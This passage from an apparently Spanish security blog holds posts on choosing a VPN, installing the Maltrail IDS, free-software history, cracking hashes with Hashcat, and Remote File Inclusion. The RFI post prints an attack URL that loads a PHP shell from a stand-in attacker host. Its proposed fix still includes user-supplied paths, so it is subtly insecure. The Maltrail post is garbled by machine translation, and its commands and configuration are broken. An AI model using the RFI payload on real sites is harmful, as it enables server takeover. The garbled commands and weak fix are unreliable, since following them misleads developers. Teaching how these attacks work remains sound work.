viernes, 26 de febrero de 2016

¿Cuáles son los mejores servicios VPN ?

Una Red Privada Virtual o VPN es una extensión de una red local que permite conectar dos o más puntos de manera segura. Básicamente te permite crear una conexión segura cuando navegas a través de Internet. En el momento en el que conectamos cualquier dispositivo a una red VPN, este actuará como si estuviese en la misma red que la VPN y todo el tráfico de red se enviará de forma segura a través de la conexión VPN.


Imagen 3: ¿Cuáles son los mejores servicios VPN ?  

VPN normalmente usa un tipo de tecnología denominada tunneling para poder establecer la comunicación entre dos puntos. El tunneling hace uso de un protocolo especial (normalmente SSH) para crear un “túnel” (de ahí su nombre) por el que circulan todos los datos desde un extremo a otro. Este “túnel” en realidad es la misma información que se manda pero cifrada por la acción del protocolo seguro de comunicación, lo cual hace que nuestros datos no queden expuestos a la vista de agentes externos.


Imagen2: Información cifrada por la acción del protocolo seguro de comunicación

Otro de los usos más extendidos de las redes VPN es la de facilitar el acceso remoto a una red local. Por ejemplo cuándo los empleados que deben acceder a la red del trabajo desde su portátil o smartphone se encuentran desplazados. En sus portátiles, los empleados deberían tener instalado un cliente de VPN, que después de introducir un usuario y una contraseña, se conecta con un servidor VPN situado en las oficinas de la empresa y de esta manera poder acceder con seguridad a la red local de la empresa.

Actualmente, por su efectividad y su nulo coste, VPN es prácticamente la tecnología más usada para permitir el acceso remoto y la conectividad entre distintos agentes y segmentos de una misma red local, cuya distancia entre si sea demasiado grande como para optar por una conexión física y real. Pero si un usuario normal desea también tener acceso seguro a su red privada desde fuera de su casa, también puede optar por VPN, aunque a nivel de usuario puede resultar una solución algo aparatosa y excesiva el tener que configurar un servidor VPN (que puede ser nuestro mismo ordenador personal). Sin embargo existen otras opciones mucho más sencillas como las que veremos a continuación.


¿Qué preguntas nos debemos hacer para elegir el mejor servicio VPN?

Desde el portal TorrentFreak han redactado una serie de preguntas que nos deberíamos hacer para intentar localizar el mejor servicio de VPN del momento. Las respuestas a las preguntas serán la clave para decidirse entre uno y otro servicio de VPN.

  • ¿Guardáis registros (logs) que vinculen la IP con vuestro servicio? En caso afirmativo ¿qué información y durante cuánto tiempo? 
  • ¿Cuál es el nombre de la empresa y bajo que jurisdicción operáis? 
  • ¿Utilizáis algún herramienta externa que retenga la información de los usuarios? 
  • ¿Cómo manejáis las peticiones de censura o borrado? 
  • ¿Qué pasos seguís cuando la justicia os pide identificar a un usuario? ¿Ha ocurrido alguna vez? 
  • ¿Se permite el uso de BitTorrent u otro sistema P2P? 
  • ¿Qué métodos de pago se permiten? 
  • ¿Cuál es el método de cifrado más seguro que recomendáis a vuestros clientes? 
  • ¿Ofrecéis aplicación VPN? ¿Para qué plataformas? 
  • ¿Utilizáis vuestros propios servidores DNS? 
  • ¿Tenéis control físico sobre los servidores? 
  • ¿En qué país están los servidores? (Nosotros nos centraremos en confirmar si están en España)

Con todas estas preguntas podemos elaborar un listado de servicios VPN que no almacenan registros de los clientes además de tener en cuenta los que tienen servidores en España, algo bastante importante desde el punto de vista de la velocidad de la conexión. Además, sabremos si permiten el uso de programas de descarga mediante protocolos como BitTorrent. A continuación, clasificamos los servicios analizados en diferentes categorías:


Servidores en España, permiten P2P y no guardan registro

En el primer apartado veremos la categoría que engloba a los servicios VPN que no guardan ningún tipo de registro de los usuarios, ni del tráfico generado. Aparte nos permiten el uso de programas de descarga con sistema P2P y tienen sus servidores en España. El listado es el siguiente:

  • Ipvanish (3 en Madrid y 2 en Valencia) 

No guardan registro, permiten P2P pero no tienen servidores en España

Todos estos servicios VPN ofrecen las mismas características que los anteriores, como el no guardado de registros o la posibilidad de realizar descargas P2P, pero por el contrario no cuentan con servidores localizados en nuestro país.

  • Blackvpn (con reservas en el tema P2P) 

Guardan algún tipo de registro (como máximo una semana)

Por último veremos los servicios VPN que sí guardan registros de las actividades, por lo que no cumplen con el criterio de ser  anónimos y mantener la privacidad de sus usuarios. Todos ellos guardan algún tipo de información aunque como máximo la mantienen almacenada una semana (de todas formas, no recomendamos su uso). En esta categoría encontramos:


En este artículos hemos conocido cuáles son los servicios que cumplen algunos de los parámetros esenciales para poder mantener la privacidad y el anonimato a la hora de navegar por internet (como no guardar datos de los usuarios). Además de eso, desde este blog siempre recomendamos el uso de Tor sobre una VPN para intentar mantener el mayor nivel de privacidad posible.


Fuente: www.adslzone.net, www.anexom.es

jueves, 25 de febrero de 2016

Maltrail - Sistema para la detección de tráfico malicioso

Maltrail Es Una Herramienta de código abierto Escrita en Python, un Sido Creada por Miroslav Stampar el Mismo Que Desarrollo sqlmap , y basicamente Se Trata de la ONU Sistema IDS Que Sirve para la detection de Tráfico malicioso, Funciona utilizando Listas Disponibles publicamente Que contengan Rastros maliciosos y / o Sospechosos. Hace también: Además de la USO de la Recopilación de DIVERSOS Informes de AV, y Listas Personalizadas Que podran Ser predefinidas por el usuario. Cuenta también con Avanzados: mecanismos heurísticos Que pueden SER de Ayuda en El Descubrimiento de Amenazas desconocidas (por Ejemplo, ALGÚN tipo de software malicioso aun no Clasificado,).


Imagen 1: Maltrail - Sistema para la detección de Tráfico malicioso

Lo qué diferencia un Maltrail de Otras Herramientas Que Cumplen Una función f parecida (Como   Snort   o  Suricata  ), es la categorización Que Realiza De Las Amenazas, La Variedad de fuentes de las que hace? USO (Si La Dirección IP TIENE UNA mala reputación en Diferentes fuentes abiertas), la inteligencia para identificar Actividad sospechosa, y la identificación de software malicioso Que intenta Llamar a casa. Posee también Una Interfaz panel de la ONU y de control de Bastante Explícito e intuitivo que Ayudan a familiarizarse con la Herramienta facilmente. También nos offers Diversas Estadísticas Como el Número de Amenazas, Tendencias de Eventos Clasificados Como Riesgo alto / medio / bajo, Gráficas Principales atacantes de Fuentes, etc ...


Imagen 2:

¿Como Funciona Maltrail?


El tipo de Despliegue un Realizar Es Como El de any IDS, es factible de, Sondas de detection Que envian Eventos Una ONU Único Servidor, por lo Que es Totalmente acondicionado viable Un tipo de arquitectura Distribuida, O INCLUSO Podemos aprovechar v Sondas ya existentes Que esten Analizando el Tráfico con Otras Herramientas de código abierto, para Integrar la ONU Proceso más.


Imagen 2: FUNCIÓNamiento de Maltrail


Principales características


  • Dispone de Bastante Documentación muy completa. Toda La Documentación existente es muy buena y más que suficiente Sobre las virtudes de la Herramienta.
  • Impresionante la interfaz gráfica de usuario. Facilidad De Filtrado de Eventos, Asi Como la interaction Que permite con Cada columna, dependiendo de Que Se trar. Por example búsqueda de la Dirección IP atacante en DuckDuckGo párrafo búsqueda de la IP en Diferentes fuentes de Análisis de reputación de Como robtex, whois.domaintools, mxtoolbox, etc, ...
  • Nos offers La Posibilidad de escuchar En un Interfaz o en todos, los de la Máquina sensor.
  • Plug and play: Sólo Tiene Un paquete de Como dependencia.
  • Fuente abierta 

Por Último Vamos A Realizar la ONU example de su ejecucion, Varias Séran Sondas mandando registra una ONU Que servidor recopile Todo y los muestre Mediante la Interfaz Web:


Servidor

Empezar párrafo, Tienes Que INSTALAR TODOS LOS PAQUETES Necesarios:

# Aptitude install git-pitón pcapy schedtool

Una Vez las Tengamos instaladas, pasamos un "clonar" el repositorio:

# Cd / opt / && git clone https://github.com/stamparm/maltrail/ && cd maltrail /

Ahora editar el archivo de configuration:

# Vim maltrail.conf

HTTP_ADDRESS 0.0.0.0   # ip En La Que Escucha La Interfaz Web
HTTP_PORT 8338   #Puerto En que Escucha el
USUARIOS

Administrador: $ $ $ 10000 ff0ae5570e1f39a8 d42e622afe0b0ede53b64b97a59d65c221edbf9dde2f0e95: 0: 0.0.0.0/0 ( "! changeme" usuario por Defecto con contraseña) #      
   <Usuario>: Pitón de núcleo / pbkdf2.py: 0: <IP en La que Escucha> / <máscara> # (párr Crear Un Nuevo usuario crear de La Pass con "pitón núcleo / pbkdf2.py")
UDP_ADDRESS 0.0.0.0  # ip para Recibir los registros
UDP_PORT 8337  #Puerto para Recibir los registros
LOG_DIR $ SYSTEM_LOG_DIR / maltrail #Ruta Donde se guardan los registros por Defecto (/ var / log / maltrail)
USE_SERVER_UPDATE_TRAILS verdadero  Poder #Para Actualizar los senderos de las Sondas

Una Vez configurado ejecutamos:

# Pitón server.py


Sonda

Instalamos Todos Los Paquetes Necesarios:

# Aptitude install git-pitón pcapy schedtool

instaladas Vez UNA, procedemos un "clonar" el repositorio:

# Cd / opt / && git clone https://github.com/stamparm/maltrail/ && cd maltrail /

Por Último editamos el archivo de configuration:

# Vim maltrail.conf

USE_MULTIPROCESSING verdaderos  Procesadores #Para USAR Varios. ESTO PUEDE Aumentar el Consumo de recursos notablemente
LOG_SERVER <IP>: 8337  #la IP del servidor y el puerto Donde está escuchando
UPDATE_SERVER http: // <IP>: 8338 / rutas  #la IP del servidor Y el puerto donde esta escuchando EL senderos

Por Ultimo, ejecutamos la sonda:

# Pitón y sensor.py

Y Solo TENEMOS Que conectarnos a la Web and view this Lo que sé capturando.

http: // <servidor_ip>: 8338



lunes, 22 de febrero de 2016

Una breve pero intensa historia sobre el software Libre

Aunque la mayoría de personas piensen lo contrario "Free Software" no significa que estemos hablando de software gratuito, cualquier persona puede montar un negocio y ganarse la vida con el software libre. El termino más bien se refiere al concepto de la libertad del usuario sobre el mismo.


Imagen 1: La breve pero intensa historia sobre el software Libre 

En los orígenes de la informática el software era totalmente libre, sobre los años 60 era desarrollado por universidades, grandes organizaciones (incluidas públicas) etc... Por aquellos tiempos lo normal solía ser que estas entidades compartieran todo el software sin prejuicios, sin embargo con el paso del tiempo algunas de las grandes empresas se empezaron a dar cuenta de los beneficios que podían obtener si comenzaban a comercializarlo en vez de seguir compartiéndolo. 

Esto se fue acentuando y normalizando con el paso de los años, hasta que a principios de los 80 apareció un tipo bastante peculiar llamado Richard Stallman. Esta persona decidió que el software tenía que ser totalmente libre y que no debía poner restricciones a los usuarios que lo utilizaban, por lo tanto este software debía ser al 100% propiedad de la persona que pagó por él en su momento (al igual que el hardware con el que interactúa en el equipo). 

Para ello, decidió redactar una serie de libertades:

0. Libre uso (Poder utilizar el software como y cuando quieras)

1. Acceso al código fuente (la capacidad para poder conocer como funciona el software al completo)

2. Libertad de copia (Derecho para poder compartir el software con otras personas)

3. Libre de distribución (mezcla entre la libertad 1 y 2) (puede ser modificado y distribuido)


Este proyecto iniciado por  Richard Stallman acabó desembocando en la creación de GNU y la Free Software Foundation, de hecho muchos de los productos de software más populares hoy en día se basan en esta peculiar forma de pensar que a su vez no se basa más que en la simple premisa de compartir. Por ejemplo Firefox, Gnome, Samba, Mysql, Apache, KDE, PHP, PostgreSQL, Perl, todos estos proyectos tienen en común que gracias a que muchas personas han podido compartir, distribuir y modificar el código del software sin restricciones, el producto a podido seguir avanzando y mejorando hasta convertirse en una de las opciones principales para los consumidores.

Estos fueron los comienzos del software libre, sin embargo los usuarios todavía se encontraban con un pequeño problema, el hecho de que todos los diferentes proyectos de software libre estuviesen almacenados en diferentes formatos y repositorios, por lo que si querías utilizar un sistema operativo totalmente libre, tenías que ir descargando todos los programas de uno en uno. Para ayudar a solventar esta deficiencia se inventaron las distribuciones, que básicamente son un conjunto de diferentes tipos de software que han sido agrupados en un sólo soporte para que el usuario pueda instalarlo y utilizarlo con facilidad.

Por otra parte los que más le suele llamar la atención a las personas que no están muy adentradas en el mundo del "Free Software", es el hecho de que co-existan una multitud de distribuciones diferentes basadas en Linux, básicamente les extraña que haya más de un Linux en el mercado. Esto se debe en gran medida a la libertad que otorga el software libre a los usuarios (licencias libres), por lo que cualquier persona puede coger literalmente el código fuente de cualquier proyecto y utilizarlo para sus proyectos personales, hacer copias, distribuirlas, e incluso venderlas. A la larga esto siempre acaba derivando en una mejora y avance significativo del proyecto principal.

Linux es el núcleo: uno de los programas principales del sistema que se encarga de asignar los recursos de la máquina a los demás programas que el usuario ejecuta. El núcleo es una parte esencial de un sistema operativo, pero inútil por sí mismo. Linux se suele utilizar normalmente en combinación con el sistema operativo GNU: el sistema completo es básicamente GNU al que se le ha añadido Linux, es decir, GNU/Linux. Todas las distribuciones denominadas «Linux» son en realidad distribuciones GNU/Linux.

Hoy en día existen cientos de distribuciones diferentes, cada una de ella orientada a una necesidad o comunidad de personas en concreto. Recopilan, almacenan y distribuyen el software a su manera, la principal diferencia entre todas (aparte de que utilicen un instalador o un gestor de paquetes diferente) es la filosofía que reside en el equipo que prepara y distribuye el software.

Diferencias principales en cada distribución


1. Instalador (lo primero que vemos al instalar una distribución)

2. Herramientas de administración (herramientas gráficas, configuración de servicios, servidores ...)

3. Gestor de paquetes (actualizaciones)

4. Soporte (Comercial, no comercial)


Distribuciones principales


Fedora/ Red Hat/ CentOS (bien situadas comercialmente)

(Open) Suse (Enterprise) ( Ingeniería Alemana)

Ubuntu (muy popular, sobre todo en nuevos usuarios)

Gentoo/ Arch (para gente rara y hackers malos)

Debían (gran tamaño, fiable y proyecto madre de otros muchos)


Por último es importante aclarar que el Software Libre establece muchas libertades pero no es necesariamente gratuito. Con esto quiero decir que conservando su carácter libre (respetando las libertades), puede ser distribuido de manera comercial. Todo esto garantizando sus derechos de modificación y redistribución.


Fuentes: Free Software FoundationGNU

domingo, 7 de febrero de 2016

Utilizando Hashcat para descifrar contraseñas

Hashcat, es una herramienta que nos permite obtener contraseñas a partir del hash de las mismas. Una pequeña ayuda que nos facilitará el trabajo cuando nos encontremos con una base de datos o un archivo que contenga credenciales de usuarios cifradas.


Imagen 1: Descifrando contraseñas con Hashcat


Aunque antes de la aparición de Hashcat ya existían diferentes tipos de software (como "PasswordsPro" o "John the Ripper") que cumplían la misma función, esta herramienta se diferencia principalmente en que nos permite hacer uso de los múltiples núcleos de una CPU moderna, o lo que es lo mismo, incluye soporte para "multiprocesamiento".

Entre las principales características podemos destacar las siguientes:
  • Optimizada y precompilada para Linux, Windows y OSX, dispone de versiones para 32 y 64 bits, evitando cualquier tipo de retraso o problema en la compilación.
  • Es vastante ligera. Los hilos que se encargan de la parte pesada del trabajo corren a una prioridad baja, por lo que podemos seguir haciendo uso del equipo mientras se está realizando el proceso. 
  • Su versatilidad. Tiene soporte multihilo, soporta muchos algoritmos (más de 50) y permite utilizar técnicas avanzadas utilizando reglas o tablas de permutación, entre otros. 
  • Como ya hemos comentado anteriormente, posee una versión que hace uso de la tarjeta gráfica (GPU) para las operaciones de cómputo, lo que acelera mucho el tiempo de proceso para la obtención de las contraseñas. 


Os podéis descargar la herramienta y buscar más información desde su página web (la que usa la CPU). Y por otro lado para GPU tenemos disponibles dos versiones: oclhashcat-plus, más amplia y con soporte para más métodos de cifrado, y oclhashcat-lite, algo más simple. La única “pega” como nos destacan desde "Securityartwork", es que esta versión no la tenemos disponible para OSX.

Aquí puedes ver una línea de órdenes genérica para lanzar la herramienta:

<ejecutable -hashcat> [opciones] fichero-hash [mascara|diccionario|directorio]

Como archivo ejecutable vamos a elegir el que corresponda con la versión que hemos elegido,     (por ejemplo: hashcat-cli32.bin o oclHashcat-plus64.exe).


En la versión clásica de la aplicación tienes muchas opciones, pero en este caso veremos las más comunes, que nos serán más que suficiente para la mayoría de ocasiones. Entre todas las opciones que posee la herramienta podemos destacar las siguientes: 

-m <num> Tipo de hash a descifrar. El listado completo aparece al mostrar la ayuda. 

-n <num> Número de hilos a utilizar (solo versión para CPU).

-a <num> Tipo de ataque a realizar. Generalmente utilizaremos ataque por diccionario (por defecto, a=0) o por fuerza bruta (a=3). Listado completo en la ayuda. 

-c <num> Tamaño de la caché en RAM del diccionario, en MB. 

-o <fich> Fichero donde guardar los hash descifrados. 

-[1-4] <valor> Definición de conjuntos de caracteres personalizados, si queremos acotar los posibles caracteres que tendrá la aplicación. En la ayuda aparece un listado completo de las combinaciones.


El parámetro "fichero-hash" será el que contenga los hash que queramos descifrar, uno por línea. El último parámetro podrá ser, o bien una máscara de caracteres si vamos a realizar un ataque por fuerza bruta, o por el contrario un fichero o directorio que incluirá los  diccionarios sobre los que podemos realizar las pruebas.

Por último aquí tienes un par de ejemplos de su ejecución:

$ ./hashcat-cli32.bin - Ejecutable de 32 bits bajo Linux. 

-n 2 - Vamos a utilizar 2 cores de nuestra CPU. 

-a 3 - Modo fuerza bruta. 

-m 400 - Tipo de hash: phpass, MD5(WordPress), MD5(phpBB3). 

-o wp.pass - Fichero de salida. 

wordpress.hash - Fichero que contiene los hash a descifrar. 

?l?l?l?l?l?l?l - Máscara, hasta 7 caracteres en minúsculas.


miércoles, 3 de febrero de 2016

¿Cómo funcionan las vulnerabilidades RFI (Remote File Inclusion) ?

Las vulnerabilidades RFI (Remote File Inclusion), inclusión remota de archivos en español, son un tipo de vulnerabilidad que solo encontramos en páginas dinámicas desarrolladas en PHP, y permiten a un posible atacante enlazar archivos remotamente desde otro servidor, lo que puede acabar provocando la ejecución de código malicioso en el servidor legítimo o en la página web (ataque XSS usando javascript). Esto se produce como consecuencia de un fallo en la programación de la página, filtrando inadecuadamente lo que se incluye al usar funciones en PHP para incluir archivos.


Imagen 1: ¿Cómo funcionan las vulnerabilidades RFI (Remote File Inclusion) ?


Identificando la vulnerabilidad

En primer lugar para demostrar como funciona esta vulnerabilidad tenemos que encontrar un sitio que se vea afectado por la misma. Para ellos podemos hacerlo de varias formas: 

De forma manual, e ir buscando que ninguna de las sentencias include o require utilicen variables no confiables (que el usuario pueda modificar) como GET o POST, utilizando diferentes dorks para la búsqueda en navegadores como ya pudimos ver anteriormente en los artículos de hacking con buscadores, o también podemos hacerlo con la ayuda de herramientas automatizadas.

El problema con la función include aparece si el código de llamada de esta función no está filtrado correctamente, en ese caso podríamos crear una petición manipulada a través de la cual podríamos ejecutar código, añadir ficheros directamente en el servidor, etc...

Explotación del fallo

Una vez tenemos un objetivo y sabemos que realmente es vulnerable a "RFI", lo siguiente sería intentar explotar la vulnerabilidad. Para ello tenemos una página web que en uno de sus ficheros incluye esta porción de código PHP:

ejemplo.php 
<?php 
include $_REQUEST['fichero']; 
?>

Al visitar la web podemos ver en la barra de direcciones, algo como esto:

http://www.ejemplo.com/ejemplo.php?fichero=datos.csv

El posible "atacante" podría crear una petición para la página vulnerable como la siguiente:

http://www.ejemplo.com/ejemplo.php?fichero=http://www.atacante.com/shell.txt&&cmd=ls  

shell.txt 
<? 
system($cmd) 
?>

Como podemos ver el archivo shell.txt solo realiza una llamada para ejecutar cmd. En la anterior petición, llamaría a cmd y ejecutaría el comando ls para mostrarnos todo el contenido de la carpeta del servidor remoto. De la misma manera podríamos ir creando diferentes llamadas para realizar otro tipo de acciones más invasivas, o hacer directamente uso de una shell PHP para manejar el servidor vulenerable con toda libertad.


Cómo prevenir RFI

Debemos tener en cuenta las funciones que pueden llegar a ser peligrosas si no las usamos de manera adecuada en nuestro código, por ejemplo, las funciones Include(), Include_once(), require(), Require_once(), eval(), exec(), passthru(), system(), popen(), fopen(), readfile(), file(), readfile(), son sólo algunas sobre las que tendremos que tener especial cuidado para no exponer nuestros servidores a través de un código escrito de manera inadecuada.

El programador debe filtrar correctamente la variable, por ejemplo: 

<?    if ($url=="seccion") 
include ($url.”.php”);

?>

También es posible utilizar un bloque if-else, o un switch para validar el contenido de la url. Y para asegurarnos de que el archivo existe, es recomendable utilizar la función file_exists 

<?php 
if(!file_exists($_GET['page'])){ 
die(‘No existe’); 
} else { 
require_once($_GET[‘page’]);  

} …

Con este código podemos evitar este tipo de ataques, que son fáciles de solucionar pero que en muchas ocasiones se suelen pasar por alto.


Fuentes: